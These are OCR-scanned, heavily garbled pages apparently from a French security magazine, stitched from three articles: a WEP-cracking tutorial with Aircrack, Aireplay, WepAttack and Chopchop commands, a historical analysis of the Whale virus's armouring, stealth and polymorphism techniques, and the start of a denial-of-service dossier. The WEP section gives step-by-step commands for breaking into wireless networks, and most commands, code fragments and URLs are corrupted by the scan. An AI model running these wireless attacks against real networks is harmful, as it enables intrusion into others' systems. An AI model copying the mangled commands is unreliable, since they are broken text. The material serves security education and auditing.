{1 Premier type d'attezque FMS 5§ = e S{I14IN)) :
probabilité que trofs emplacements ne seront pas pointés par un index
pseudo aléatoire durant les N-p-1 tours re

If ((S[1] <) §

Ip
statl[(jp-3-5[pl) & Buff]+e+;

leuxigne type d'attaque FMS 13% = e = (1N}

— I
N

for (p=0; 3[ipli=a; Jp++);

-J-50p1) & Bxffles)

épe type d'attague
02 ==§) &% (S[p] == @) &4 (S[2) != &)} {
stat3[(2-]-50p)) & BxFfl++;)

Drautres types d'attaques sont réalisables et je vous invite a
regarder le code complet de Chopper pour plus de détails. La
derniére attaque est de type « inversee ».

§ BFF]+4

ipl

BL(2-3-5p]) & Quffiet;

Deux developpeurs entreprirent alors de continuer le travail
effectué par Korek et c'est ainsi que deux nouveaux outils virent
le jour :
+ la suite d'outils Aircrack développee par le Francais
Christophe Devine ;

+ la suite d'outils VWeplLab développée par I'Argentin Juan
Ignacio Sanchez.

Ces deux outils ont révelutionné le domaine de la securité du
Wifi car ils peuvent casser une clé WEP de 128 bits en quelques
secondes avec un nombre de paquets chiffrés de 'ordre de
500 000, soit 20 fois moins de paquets en comparaison a Airsnort.
Nous allons nous concentrer dans la suite de I'article sur les outils
de la suite Aircrack.

4.1 Aircrack

La suite d'outils Aircrack est constituée de trois outils
principaux :
* Airodump : collecte les paquets échanges sur un reseau
sans-fil. || peut étre comparé a Kismet ;

+ Aircrack : casse effectivement les clées WEP utilisees sur
les réseaux decouverts ;

* Aireplay : génére artificiellement du trafic artificiel pour
diminuer le temps nécessaire a la collecte des 500 000 paquets
utiles a Aircrack.

Le nombre de paquets nécessaires a Aircrack est donc de 500 000
environ pour une clé de 128 bits et de 200 000 pour une clé de 64
bits. |l est important de noter que les paguets recueillis doivent
étre des paquets chiffrés et comportant un vecteur d'initialisation
unique. Une fois que le nombre de paquets nécessaires est réeuni la
determination de la clé WEP ne prend que quelques secondes. Le
seul parametre sur lequel il est necessaire de travailler est le fudge
factor permettant de définir I'espace de recherche des clés. Plus le
fudge factor est important, plus le nombre de branches de I'arbre
de repartition des clés parcourues est également important. A ce
propos, Michael Ossmann a realise une etude trés intéressante
sur les performances et I'optimisation de Aircrack dans un article
publie sur Securityfocus.
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Concretement l'attaque d'un réseau sans-fil protégé par
lintermeédiaire d'une clé WEP partagée se fera en trois étapes :

4.1.1. Utilisation de Kismet ou Airodump

Avec une carte a chipset Prism2 comme celle utilisée pour realiser
l'etat des lieux des reseaux sans-fil a la Defense et les drivers
HostAP associes, les commandes sont les suivantes :

Dans un premier temps, il est nécessaire de passer la carte en
mode « monitoring » :
# {weanfig wland mode Monitor

# Iiconfig wlan@ channel <AP channel>

Ensuite, nous langons Airodump pour la capture des paquets
nécessaires a Aircrack.

# dfradump wignd donnees.pcap

4.2, Utilisation de Aircrack
avec le fichier de donnéees capturées

# gircrack donn

Le résultat obtenu devrait alors étre |le suivant :
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La seule limitation a laquelle vous pourrez alors étre confronte
a ce niveau est le manque de paquets. En effet, si vous avez la
maitrise du réseau que vous désirez auditer, il est aisé de generer
du trafic par l'intermediaire par exemple de flood ICMP. Mais si
vous n'avez pas d'acces a l'intérieur du réseau, il ne vous semblera
pas possible de genérer plus de trafic que le trafic réel. Clest alors
quintervient Aireplay.

£1.3 Aireplay

Aireplay permet de générer du trafic de données chiffrées tout
en etant a I'extérieur du réseau audite, c'est-a-dire sans avoir un
acces preéalable a la cle WEP que nous essayons de determiner.
Aireplay met en ceuvre une attaque par rejeu fondee sur les
paguets « ARP-Request ». Bien qu'il ne soit pas possible de dire
avec exactitude si un paquet chiffré correspond a un paquet ARP-
Request, de tels paquets ont une longueur fixe et peuvent donc
etre facilement identifiés. En rejouant ces paquets chiffrés de
facon continue, les autres clients du réseau sans-fil repondront
avec des paquets eux-mémes chiffrés générant ainsi de nouvelles
donneées chiffrées avec des vecteurs d'initialisation différents.

Dans un premier temps, il est donc nécessaire d'écouter le trafic
échangeé sur le réseau sans-fil suffisamment longtemps pour
enregistrer des paquets « ARP-Requests » potentiels. Ensuite,
selon les drivers utilises, il sera necessaire d'utiliser deux cartes

a chipset Prism2 (dans le cadre des drivers HostAP) ou une
seule carte (avec les drivers wlan-ng modifiés par Korek). Nous
nous concentrons sur les drivers HostAP : la premiere carte
est utilisée a des fins de réémission des paquets ARP-Requests
chiffrés et enregistrés préalablement et la seconde carte en mode
« monitor » écoute le trafic artificiellement génére. Les deux
cartes doivent étre assez éloignees 'une de l'autre afin de ne pas
provoquer des interférences entre elles.

Aireplay utilise I'interface wlanOap du driver HostAP en mode
Principal sur le méme canal que celui du point d'acces cible.

ETAPE PREALABLE : ‘

Appliquer un correctif développe par Christophe Devine au
driver HostAP :

# woet htto://moatap.epitest,fi/releases/hostap-driver-8.2.4.tar.gz

# tar -xvzf hostap-driver-0.2.4.tar.gz

# od hostap-driver-8.2.4
# patch -Mpl -1 ../&frer

ack-2.1/rawsend.patch

# make &N make install
# Jete/init.d/pescia restert

ETaPe N°| : ‘

Ecouter les données chiffrées échangées afin d'enregistrer
des paquets « ARP-Requests » pouvant étre rejoues par la
suite. Pour cette etape se reporter a la partie 4.1.

Evtare N°2 : ‘ C

Lancer l'attaque par rejeu :
iwpriv wiand hostapd 1

iwpriy wianfap host_encrypt 1

iwpriv wlan@ap host_deerypt 1
iwconfig wlanBap retry 1

Iwgonfio wianBap mode Master

fweonfig wianBap key 81:82:84.38:18
iwconfig wianllap channel <AP channel>
Ifconfia wland hw sther <some random MAC>
ifconfig wlandap up

glreplay wianfap replay.pcap

® 3
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Une fois que suffisamment de paquets pouvant étre rejoues
ont été recuperes, il convient de les réémettre et d'ecouter
avec la deuxieme carte le trafic ainsi artificiellement

genere.

# jwconfig wlanl mode Monitor

# fwconfig wianl channel <AP channel>
# 1fconfig wianl up

# girodump wianl replies.ptap

Aireplay accélére et optimise |e dechiffrement des clés WEP
realisé par Aircrack. Nous allons voir par la suite que d'autres
types d'attaques sont realisables.

4.2 Attaques par dictionnaire

Méme si les attaques présentées précedemment ont révolutionné
le domaine de la securité du protocole WEP, des attaques plus
anciennes comme les attaques par dictionnaire sant encore
efficaces. Weplab et WepAttack sont deux outils qui proposent
chacun une attaque par dictionnaire.
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Weplab propose une attaque par dictionnaire fondée sur les
techniques courantes de hash MD5 employées par les points
d'acces pour passer d'une passphrase 4 une clé WEP hexadécimale.
WepArtack utilise quant 4 lui une attaque par dictionnaire fondée
sur les cles WEP ASCII spécifiques 4 certains equipements. |l est
donc préféerable de connaitre le constructeur du point d'acces
ciblé afin de déterminer quelle méthode sera la plus efficace.

Les deux outils peuvent utiliser tout dictionnaire contenu dans un
fichier texte ou I'entrée standard. C'est pourquoi un outil comme
John The Ripper peut étre utilisé en combinaison afin de générer
une liste de mots plus importante. Combiner les possibilités de
John The Ripper a travailler sur les variations de capitalisation
des lettres, |'ajout de nombres, les rotations a un dictionnaire
standard permet de lancer des attaques tres puissantes.

Les commandes a utiliser alors avec un outil comme WepAttack
seraient les suivantes :

# wepattack_word donnes.peap

Il est possible d'ajouter dans la liste de mots, des mots relatifs au
client, a I'infrastructure qui doit étre auditée.

# wepattack_inc /var/Tog/kismet/Kismet-Jul-21-84-81.dump

Il est conseille d'utiliser dans un premier temps |'attaque par
dictionnaire avec liste de mots prédéfinis puis l'attaque par
dictionnaire incrémentale implémentée par John The Ripper.

4.3 Chopchop

Enfin Korek, créateur de Chopper, a créé un dernier outil qui
permet une attaque d'un mode totalement inédit. ChopChop
permet de déchiffrer un paquet chiffre avec une clé WEP sans
avoir connaissance de cette clé.

Reprenons un peu de théorie afin de mieux comprendre comment
cela est possible. Les trames chiffrées via le protocale WEP
sont dotées d'un contrdle d'intégrité CRC. Malheureusement,
ce contrdle n'assure aucune intégrité car ce CRC repose sur
l'operation XOR, qui est commutative.

Etant donné un paquet P, le protocole WEP ajoute le contrdle
d'integrite et réalise l'opération XOR avec la clé dérivée du
protocole RC4 soit M = (P + ICV(P) ) XCOR RC4. Une personne
mal intentionnée peut intercepter un message chiffré M et
réinjecter un message en clair P’ sur le réseau sans-fil ou P'=P
XOR Mod (Mod représente le masque correspondant a la
modification de P).

Etant donné que le contréle d'intégrité de P est le contréle
d'intégrité de P sur lequel on a effectué I'operation XOR avec
le CRC modifie de Mod, la relation entre les paquets originaux
est |a suivante :

P' + ICV(P') = (P + ICV(P) ) xor ( Mod + ModCRC (Mod) ) |

Les messages chiffrés correspondants sont :

M'= (P + ICV(P') ) xor RC4

= ( P+ ICV(P) ) xor RC4 xor ( Mod + ModCRC (Mod) )
= Mxor ( Mod + ModCRC ( Mod ) )

On peut donc en conclure qu'une personne extérieure peut
injecter de fagon arbitraire toute modification d'un paquet chiffré
valide.

Chopchop exploite une autre vulnérabilité du contréle de
conformité. Si le message chiffré M (c'est-a-dire P+ ICV(P))
est tronqué de son dernier caractere alors le message devient
invalide. Cependant en effectuant un XOR avec une certaine
valeur, le message tronqué M deviendra de nouveau valide. Cette
valeur ne dépend que de |'octet tronqué. Chopchop tronque donc
le message, émet 'hypothése que la derniére valeur est 0, corrige
le message tronqué et I'injecte vers le point d'accés puis réitére
l'opération pour les valeurs | a 255,

Le paquet qui passera sur le réseau nous donnera le dernier
octet de (P + ICV(P)) et du flux RC4. En répétant 'opération, M
pourra étre déchiffre.

Au niveau mathématique, un message avec un CRC peut étre vu
comme un polynome P(x) avec un coefficient en Z/2Z verifiant
la proprieté suivante :

P=x*+_+x+ | (modR)
(ou R est le polynome CRC)

Maintenant séparons P en deux parties : un terme constant P,
et le polynome des coefficients de degré strictement positif :

[F=gurm, :

Q est le polynome associé au message et au CRC, tronque d'un
bit. Dans un premier temps, nous avons besoin de connaitre la
valeur de Q (mod R).

|Qx=x3'+...+x+(I+P0}(modR) _ l

Etant donné que R =1, x est inversible modulo R avec comme
inverse A :

" Ax =1 mod (R) avec A=(R-1)/x

Donc
Q=A< + .. +x+ (I1+P))) (mod R)
Q+(A+ ) + .+ (I+P)) + P, =x" + . + | (mod R)

Le message issu de la medification d’'un message en lui appliquant
un CRC tronqué d'un bit dépend uniquement de la valeur
du dernier bit (P)). En répétant cela 7 fois on obtient que la
modification d'un message par un CRC tronqué d'un bit dépende
uniguement de la valeur du dernier octet..

Il est donc possible de déchiffrer un paquet chiffre sans
connaissance de la clé WEP. Il y a trois pre-requis a l'utilisation
de Chopchop :

# connaitre une adresse MAC valide d'un client ;

# connaftre le BSSID d'un point d'accés du réseau a
auditer ;
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+ avoir un fichier contenant des données chiffrées, qui seront
déchiffrées.

Chopchap utilise une carte @ chipset Prism2 et les drivers wlan-
ng. Il faut mettre la carte en mode écoute pour pouvoir réaliser
cette attaque. Les actions a réaliser sont alors les suivantes :

Evare N°l : - ‘
|

' Mettre la carte en mode monitor :

# wlanctl-ng wlan® Inxreq_ifstate ifstate=enabie
| # I-ng wian@ Imxreq_wiansniff enable=trie charnei=<AP chinnel>
| & {fconfia wiand up

Etape N°2 : \_

Lancer Chopchop avec la commande suivante :
# .fchopehop -m <Adresse MAC client valide> -b <BSSID de 1'AP> -r

efichisr 3 décrynter>

Korek a donc créé un deuxieme outil trés instructif et puissant.
Cet outil souffre encore de soucis de performance contre certains
types de paquets, mais Il est trés spectaculaire et met une fois de
plus en avant les carences du chiffrement WEP.

Conclusion

Au vu des performances d'outils comme Aircrack, Weplab
ou Chopchop, il est évident gu'une nouvelle époque est
devant nous car les efforts réalisés par les constructeurs
d'equipements Wifi pour filtrer et limiter les vecteurs
faibles ont eté vains. |l ne faut désormais n'avoir plus
aucune confiance dans le chiffrement WEP quelle que soit
la longueur des clés employées.

Cette constatation est renforcée par le fait que la
problématique de détermination des clés WEP a été
déplacée vers celle de la génération de trafic. Or la
génération de trafic avec des outils comme Aireplay
est désormais possible. La nouvelle version de Aireplay
s'annonce de plus trés prometteuse :

Références

# Elle permettra de lancer trois attaques différentes :
la premiére est celle présente dans la version actuelle,
c'est-a-dire le rejeu d'un paquet ARP capturé, la seconde
permettra le rejeu d'un paquet chiffré quelconque avec
la destination modifiée en broadcast et la troisieme
qui a terme pourra s'avérer étre la plus intéressante,
permettra de capturer puis de dechiffrer, via l'utilisation
de Chopchop, un paquet chiffré quelconque, le masque
de XOR obtenu sert a créer, forger un paquet ARP-
request qui peut étre rejoue.

+ Elle devrait permettre l'utilisation des drivers
madwifi et donc de cartes de norme 802.11g permettant
une réinjection encore plus rapide. Avec cette
nouvelle version, il pourrait étre possible de genérer
suffisamment de trafic pour casser une cle WEP 128bits
en 2 minutes.

Le protocole WPA en mode Entreprise doit donc étre
mis en ceuvre, notamment par les grands groupes francais
présents a la Défense sous peine d'ouvrir de larges bréches
dans leur systéme d'information.

—

| Liens

+ Site du WordWide WarDrive :
http:/iwww.worldwidewardrive.org/

* Site de Kismet :
http:/iwww.kismetwireless.net/

+ Site de Aircrack :
http:/fwww.cr0.net:8040/code/networl/aircrack/
+ Site de Weplab :
http://weplab.sourceforge.net/

+ Site de Alirsnort :
http://airsnort.shmoo.com/

+ Site de WepAttack :
http:/fwepattack.sourceforge.net/

+ Site de John The Ripper :
http://www.openwall.com/john/

http://www.drizzle.com/~aboba/lIEEE/rc4_ksaproc.pdf

http:/fwww.cs.umd.edu/~waalwireless.pdf

http://mathworld.wolfram.com/ExponentialFunction.html

« FLUHRER S, MANTIN I, SHAMIR A., Weaknesses in the Key Scheduling of RC4, disponible en ligne sur :

~ WAGNER D, Site de sci.crypt [en ligne], disponible sur http:/fwww.es.berkeley.edu/~daw/my-posts/my-rc4-weak-keys
~ ARBAUGH, SHANKAR, JUSTIN WAN, Your 802.11 Wireless Network has no Clothes, disponible en ligne sur :

~ OSSMANN M. WEP, Dead Again Part I, Site de Securityfocus [en ligne], disponible sur http://www.securityfocus.com/infocus/1814

~ Fonction exponentielle, Site de mathworld.wolfram [en ligne], disponible sur :
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Whale :
le virus se rehiffe

Un virus ou un programme malveillant contient dans
son code les armes de sa propre mort. Diffuser un tel
code revient en fait, d'une certaine maniére, a le tuer.
Sous réserve que le code soit détecté une premiére fois,
son analyse - a l'aide de techniques de désassemblage
et debugging — permet de connaitre son mode de
fonctionnement, ses rouages intimes et par conséquent
permet, infailliblement, de mettre au point les techniques
d'identification et de lutte nécessaires a l'actualisation
de nos antivirus. D'ol le postulat : diffuser un virus c'est
le tuer. La question suivante a trés vite envahi I'esprit
des programmeurs de virus : est-il possible de retarder,
voire d'empécher I'analyse d'un code malveillant ?
Cet article présente le virus Whale qui a constitué
un premier élément de réponse i cette question et
avec lui a donné naissance a une nouvelle catégorie
de techniques anti-antivirales : le blindage de code.

Introduction

Le virus Whale [NI] a fait son apparition en septembre 1990.
D'une taille d'environ 9 Ko, ce virus a tout d'abord surpris par
sa taille : c'était le plus gros virus jamais publié a cette époque.
Mais plus que sa taille, c'est sa capacité 3 résister a |'analyse qui
a le plus surpris les spécialistes de I'époque, 4 tel point que ce
virus a fait l'objet d'investigations policieres particulieres, de la
Computer Crime Unit de Scotland Yard. Il semble que ce virus ait
eu plusieurs auteurs qui ont travaillé en collaboration. L'un d'entre
eux semble venir de Hambourg et avoir fait partie du célebre
Chaos Computer Club [N2]. Le niveau de complexité du code,
jamais observé pour un virus, s'est révélé tel que les policiers de
Scotland Yard ont créé le terme, adopté depuis par I'ensemble
de la communauté antivirale, de blindage viral, pour désigner
I'ensemble des techniques destinées 4 retarder, voire empécher,
I'analyse d'un code.

Pour se faire une idée de la capacite de blindage du virus Whale, il
suffit de savoir que pres de 70 % du code de Whale est consacré
aux techniques de blindage. Ce virus s'est tres vite revelé
inefficace du fait de tres nembreux bugs, de sa lourdeur et des
fortes perturbations occasionnées dans les ordinateurs infectés.
Son role, trés probablement, aura d'une part été d'initier la
reflexion sur le blindage viral et d'autre part, de gaspiller I'activite

et I'energie des experts de tous les editeurs d'antivirus. L'analyse
du virus VWhale nécessita prés de deux semaines. De ce point de
vue, ce virus avait atteint son but.

Nous allons présenter le virus Whale en prenant de la hauteur et
en considérant plus l'aspect algorithmique que le code lui-méme
(ce qui aurait ete impossible sans détailler, jusqu'a écceurement,
le code assembleur, extrémement complexe, et qui utilise
intensivement des specificites du DOS et du BIOS). Cet article
a eté ecrit a partir de l'analyse de code assembleur (produit en
1991 par Ralf Horner) qui sera disponible (bientét) sur la page
Web de I'auteur (pour aider le lecteur et par souci de place, les
adresses ou les noms de procédures seront quelquefois indiques
pour repérer les parties de code évoquées dans cet article). Le
virus VWhale est un virus furtif et blindé. Il n'est pas a proprement
parler un virus polymorphe. Les techniques polymorphes par
cryptologie [N3] utilisees par Whale ont, pour principal but, le
blindage du code. Ce virus infecte essentiellement les fichiers
de type COM et EXE selon un mode tout a fait classique. Il est
capable de mettre en ceuvre cette infection avec une virulence
maitrisée (une sorte de contré'z des naissances).

Les mécanismes d'infection
L'infection

Les mécanismes d'infection, bien que traditionnels, sont toutefois
mis en ceuvre de sorte a participer au blindage viral lui-méme. lIs
ont eté présentes séparément ici afin de faciliter la vision générale
du virus mais le lecteur doit garder présent a I'esprit que tout
concourre au blindage du code. Le virus Whale est resident en
mémoire (voir plus loin) et il intercepte les appels a la fonction
(service) 46K (Load or Execute Program de l'interruption 714 (DOS)).
A chaque appel d'un programme (chargement et/ou exécution),
Whale en profite pour l'infecter. Les fichiers de type COM et EXE
sont donc infectes mais du fait de certaines insuffisances dans
le code (absence de contréles adéquats par exemple), d'autres
fichiers (executables ou non) peuvent étre infectés par erreur
et/ou certains de leur attributs (taille et date/heure) etre modifies
indament.

Le mecanisme d'infection est assez basique : le code viral est de
type appender. Il est rajoute en fin de code et une fonction de saut
permet d'accéder au code viral. Le code viral qui est copié est en
fait une forme mutee. La séquence d'infection est la suivante :

[M2] Le texte suivant
D45EF: DB

] "1 AM knzyve)' IN IAMBURGS"

"THE WHALE [N SEARCH OF THE 8 FISH*,Bah,8dh

[N1] Le nom du virus vient de Ia chaine de caractéres contenue dans le code |11 W1~ 00 Tl ALLL ey : = ‘

semble le prouver. La chaine ~in:yvaf, une fois decryprée {soustraction constante a chaque caractére de |a valeur 42) donne TAUROLE (tétard en anglais), Les enquéteurs |
anglais de 'epoque ont avance |'hypothese de la piste allemande comme étant la plus probable.
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+ Préparation de l'infection : récupération de la date et des
caractéristiques des fichiers cibles, recherche d'une infection
préalable (lutte contre la surinfection [N4]), contréle divers
(nature des executables, vérification des tailles et des dates).

# Le virus n'infecte que les fichiers dont la date posséde une
heure supérieure ou égale a 16 (procedure CheckFileTime et
code a l'adresse 16451F). Le but est ici de limiter la virulence
du virus.

+ Appel de la procédure Mutate Whale qui essentiellement
genere avec une probabilité 0,5 un code muté (30 variantes
possibles, contenues dans le code et choisies aléatoirement).
Sinon le code est dupliqué sans mutation {mais le code
réellement copié est cependant different du fait d'autres
mécanismes de blindage ; voir plus loin). Le code est ensuite
copié (procedure Code_Whale).

# Sila cible est un fichier de type COM, déji infecte (le code
n'y a done pas été copié), dans 10 % des cas, le virus VWhale le
desinfecte dans un but de limitation de la virulence (contréle
des naissances ; procédure @19 Prozent). Le but ici est de
compliquer la détection en maintenant l'activité infectieuse
du virus en dessous d'un certain niveau [N5].

# Le virus ensuite ajoute du code mort (garbage code), avec
une probabilité de 0.1 (le champ Trashflag estmisa | lors de
I'appel a la procédure @14 Prozent), par appel a la procedure
firite Trash To File. La quantité de code mort ajoutée varie
d'une infection a |'autre mais reste inferieure a 4 Ko. Le but
de ce code mort est d'augmenter la difficulté d'analyse du
code. Notons que ce code mort, de taille variable, contribue 3
compliquer la détection, car il est accompagne de mecanismes
de réalignement des paragraphes du code.

+ Enfin, le virus contrefait, dans le systéeme, la taille et la date/
heure des fichiers infectés a des fins de furtivité, a savoir :

® I'heure du fichier est diminuée de 16 si elle est
supérieure a cette derniére valeur ;

® retranche 23FCH octets a la taille du fichier (taille
du virus).

Ces contrefagons contiennent de nombreux bugs. En effet,
certaines vérifications basiques ne sont pas reéalisees (la cible a-
t-elle éte infectée !, cohérence des valeurs forgees...).

Quand un programme infecté par Whale est execute (retour
de contréle au programme hote), le virus se desinfecte de ce
programme, en mémoire (adresse J#3420).

La charge finale

Le virus VWhale ne contient pas de veéritable charge finale. ||
se contente seulement, a divers moment, d'afficher certains
messages. Ces derniers ne sont pas directement accessibles (avec
un éditeur hexadecimal, par exemple), le code etant plusieurs fois
chiffré (voir plus loin). Les principaux sont :

% Le fichier caché [ F13H-9.TEL est cree sur le disque avec
une probabilité de 0,25 (procédure Suche fish, adresse JA2070).
Il contient le texte suivant [N6] :

[2D0B DB
DINEL DB
[8
08 i and the hidden Fish Eggs for

“Wind her Mutant F
“they are damaqing
sikth Fish mutates only if Whaie is in her Cave”

+ Entre le 19 février et le 20 mars (mois astrologique des
Poissons), tous les ans sauf en 1991, le message donne en note
3 est affiché a I'écran (adresse JA450#). Le systeme ensuite se
bloque et un redémarrage est necessaire.

La lutte anti-antivirale

Elle est realisee par les trois techniques suivantes : furtivite,
polymorphisme et blindage spécifique. Mais les deux premiéres
techniques, vu le niveau jamais rencontre auparavant, ont pour
but principal de contribuer activement au blindage final du code
viral.

Technigues de polymorphisme

Le polymorphisme de Whale est multiple et il poursuit deux
buts :

+ compliguer I'analyse de forme par un antivirus. C'est
essentiellement le role des 30 formes mutées (statiques)
du code qui est copié dans les fichiers, lors du processus
d'infection. Ce polymorphisme est de nature cryptologique
et de tres faible niveau. Les primitives cryptologiques de
chiffrement sont frustes : xor constant de tous les octets, d'un

apres la date du ler avril 1991 (procedure Check Versalladatum),
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octet sur deux ou sur trois, addition (fonction £00) d'une valeur
constante, complémentation des octets... A titre d'exemple,
nous avons, pour la mutation 18, le code suivant :

Efll

Le code de chaque procédure de mutation contient en fait la
« clef » utilisée, ce qui réduit I'analyse, sur ce point, a un simple
décodage. De plus, le code copié ne mute qu'avec une probabilité
0,5, un second procédé polymorphe est appliqué, lequel consiste
en une permutation des differentes sous-routines.

+ compliquer l'analyse et la détection du code en mémoire
dans le cadre du blindage. La technique est assez complexe
et s'etale sur la quasi-totalité du code source de Whale. Pour
simplifier et résumer :

+ le code utilise intensivement (exactement 94 fois) un
meécanisme de dechiffrement/rechiffrement de son propre
code en mémoire (le virus est résident en mémoire mais sous
forme presque totalement chiffrée). Le code est déchiffre juste
au moment o il doit étre utilisé. |l est ensuite immédiatement
rechiffré juste apres. Pour cela, une clef (en fait des octets
genereés aléatoirement au moyen de I'horloge interne) est
utilisée et stockée (soit directement dans une instruction 107
soit juste apres la routine de déchiffrement).Pour cela, il est
fait appel a la macro MDECODE :

MIE
MUE

MEODE

BLAAdr

ENOM

Finalement le code ainsi déchiffré puis rechiffré par partie presente
la structure suivante :

i TIF £

#* Le code s'auto-permute également trés fréequemment.
Techniquement, cela est réalisé par des permutations

réquentes d'octets dans certaines parties du code a |'aide de
valeurs précalculees.

Technigues de furtivité

La encore, la furtivité a été étudiée pour contribuer largement au
blindage final du code, méme si certaines techniques avaient déja
ete rencontrées dans des virus antérieurs, pour les seuls besoins
de camouflage. Pour simplifier, la furtiviteé est realisée par :

# un acces intense a la table des vecteurs d'interruption,
lesquels sont modifiés par le virus selon ses besoins. Les
interruptions utilisées par le virus sont les interruptions i
(mode pas a pas), /i {(interruption non masquable), ‘1 (point
d'arrét), 94 (clavier), 134 (acces disques), 24K (erreur critique
DOS ; notamment pour contrdler les erreurs au niveau du
DOS et les masquer), 7fH (gestion de la mémoire) et surtout
21H. Cette derniere etant intensivement sollicitée, le virus
utilise la routine suivante de repartition des principaux services
utiliseés :

+ Pour échapper a la surveillance, Whale se cache en mémoire
haute, sous la limite des 640 Ko (en général a |'adresse 20500H),
Il diminue la quantité de mémoire disponible pour le systéme
de |a taille du virus (77004 octets). Pour cela, le virus passe par
l'interruption 3f (procédure Wil [ns TOP_Kopieren). Le DOS
est donc leurre car la quantite de mémoire dont il croit disposer
est plus faible que celle reellement disponible

Technigues de blindage

En plus des techniques qui viennent d'étre presentées et qui
contribuent fortement au blindage du code, VWhale met en czuvre
des techniques specifiques qui ne relévent ni de la catégorie des
techniques de polymorphisme ni de celles de la furtivite :

# l'utilisation de code sans utilite (par exemple a ['adresse
182470), de code redondant (code pouvant étre simplifieé ou
factorise), d'obfuscation qui « balade » I'analyste afin de lui

faire perdre le fil de I'analyse...

# |'exécution du code est différente selon qu'il s'agit
d'un processeur 8088 ou 8086 (les files d'attente pour les
instructions different en taille (respectivement 4 et 6 octets).
Ainsi, dans le code situé 3 I'adresse 17

UL, nous avons :




manqué de provoquer rapidement son identification ; de
ce fait, Whale était en avance sur son temps ;

# |e code contient beaucoup de bugs, voire d'erreurs de
conception, qui ont trés fortement limité son efficacité
et aide a sa premiére identification. Si, pour I'époque, ce
virus représentait une nouveauté, avec le recul, l'analyse
du code montre des faiblesses algorithmiques certaines
et I'absence d'une réflexion aboutie et pertinente. Il est
clair que son ou ses auteur(s) se sont laissés aveugler par
le codage en lui-méme — et les spécificités techniques
du systeme d'exploitation considere — au detriment des
aspects algorithmiques fondamentaux ;

e =
1B Ii

Sur un processeur 8086, l'instruction 17 3 sera déja dans la file
et sera donc executée comme telle (point d'arrét). En revanche,
sur un processeur 8088, I'instruction sera modifiée avant d'entrer
dans a file et sera exécutée comme une fonction RET (retour).

+ les techniques cryptographiques utilisees, méme
combinées en grand nombre, n'ont pas offert une trés
grande protection du code. Trop triviales, les « clefs »
étant contenues dans les procédures de chiffrement,
un simple décodage et non pas une cryptanalyse, a trés
facilement permis d'analyser le virus.

+ mais la fonction la plus intéressante de Whale est celle
qui consiste a surveiller la présence d'un debugger au travail
(indication que le code est en cours d'analyse, avec utilisation
du mode pas a pas et de points d'arréts). Le virus effectue
ce controle en surveillant les interruptions 94 (clavier), 14
(mode pas a pas) et iH (point d'arrét). Le code effectue ce
contrdle en trois endroits (adresses (62410, J04661 et JI4485),
llappelle alors la procédure Dehugger _Check, Sila présence d'un
debugger actif est détectée, alors Whale bloque le clavier et
se desinfecte de la memoire.

Les techniques de blindage, depuis Whale, sont utilisées
avec plus ou moins de bonheur dans les codes malveillants.
La plupart des codes actuels se contentent de masquer
simplement les éléments les plus « voyants » du code (par
exemple, dans le ver MyDoom [4], le nom des variables est
« chiffré » avec un systéme de César de décalage 13). Seuls
quelques virus ont repris avec force, en les développant,
les techniques utilisées par Whale (citons, par exemple, le
virus Dark Paranoid). Jusqu'a présent, l'analyse du code n'a
pu qu'étre retardée mais pas empéchée, ce qui peut déja
compliquer sérieusement le travail des éditeurs d'antivirus
[NB8]. Le determinisme des techniques utilisees, la complexite
des problemes associés aux technigues de blindage actuelles,
ne permettent pas d'esperer mieux. Cela signifie-t-il que
rendre definitivement impossible ['analyse d'un code est une
chimere ! Nullement. Les techniques de blindage de code

Conclusion

Le virus Whale résume a lui seul toutes les techniques anti-
virales que 'on rencontre de nos jours. Si les technigues
de polymorphisme et de furtivite étaient déja connues et
utilisées par des virus plus anciens, en revanche le blindage
viral est né avec Whale. Si ce virus n'a pas eu le succes
escompté par son ou ses auteur(s), c'est pour les trois

) ; ont encore un tres bel avenir devant elles. Beaucoup de
raisons suivantes :

reflexions algorithmiques restent a mener sur ce sujet. En
# les techniques de blindage (en incluant ici I'usage
intensif du polymorphisme par cryptologie) mises en

particulier, entre autres voies d'exploration, |'usage efficace
de la cryptographie et de la gestion des clefs permet d'ores

ceuvre par ce virus ont finalement produit un code
lourd, complexe et donc fortement consommateur
de ressources, totalement inadapté aux machines de
I'epoque [N7] ; le ralentissement de la machine infectée,

et déja d'affirmer que le blindage viral interdisant I'analyse
de code est possible. Une premiére étude I'a demontre
[3]. C'est un des aspects préoccupants du mariage de la
cryptologie avec la virologie : « la cryptologie malicieuse ». Ce

qui pouvait aller jusqu'a un gel de cette derniére n'a pas sera le theme du prochain dossier dans MISC.

] En 1990, les machines en usage étaient a base de processeurs 8086 et 8088 et fonctionnaient sous systeme DOS. |

[N8] La propagation d'un ver actuel, au niveau planétaire, se faic en quelgues minutes (le meilleur exemple 4 ce jour reste le ver Sapphire/Slammer avec meins de 30 minutes |
[2]). De nouveaux modeles [I] envisagent meme des propagations de 'ordre de quelques minutes, voire quelques secondes. On Imagine que retarder I'analyse d'un tel |
| code, méme seulement de quelques heures, dans ce contexte, assurera son succes opérationnel.

g _Refremces e o
[I]1 BALEPIN . Superworms and Cryptovirology: a Deadly Combination, http:/fwwwacsif.cs.ucdavis.edu/~balepin/new_pubs/worms-
cryptovirology.pdf, 2003.

[2] BRULEZ, N. et FILIOL, E. Analyse d'un ver ultra-rapide : Sapphire/Slammer. MISC 8, juillet 2003.
[3] FILIOL, E. Strong Cryptography Armoured Computer Viruses Forbidding Code Analysis: the “Bradley” virus.- In: Proceedings of the 14th |
EICAR Conference, Malte, Mai 2005.

[4] FILIOL, E. Le ver MyDoom. MISC 13, mai 2004.
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Les dénis de service

Lire ce dossier, c'est un petit peu comme choisir la pilule
rouge de Morpheus. Pour l'instant vous vivez dans un
monde confortable ot les dénis de service sont de vieilles
attaques obsolétes aux noms rigolos. Ainsi les Ping de la
Mort, boink ou autres pepsi n'ont plus leur place dans
la sociétée moderne, saine et sécurisée dans laquelle
nous évoluons. Dans ce cadre aseptisé les vers font
office d'exutoire, tel un match de Rollerball ol quelques
faibles se font ramasser dans une aréne circonscrite.

Lire ce dossier, c'est entrer dans une réalité peu connue
et parfois effrayante : les dénis de service sont toujours
présents, et plus efficaces que jamais. Et méme nos
anges gardiens chez les opérateurs ne peuvent pas
toujours lutter contre le déchainement d'attaques aux
proportions dantesques. Les cyber-mafias s'organisent,
l'extorsion est un business en pleine expansion et des
réseaux entiers s'écroulent, sans explication officielle.

Mais il est encore temps, vous pouvez choisir la pilule bleue.

Historique

La genése
« A l'origine etait le ver » (HB, RSTACK Team, RMLL 2003).

Le ver de Morris

Le 2 novembre 1988, le monde électronique connaissait sa
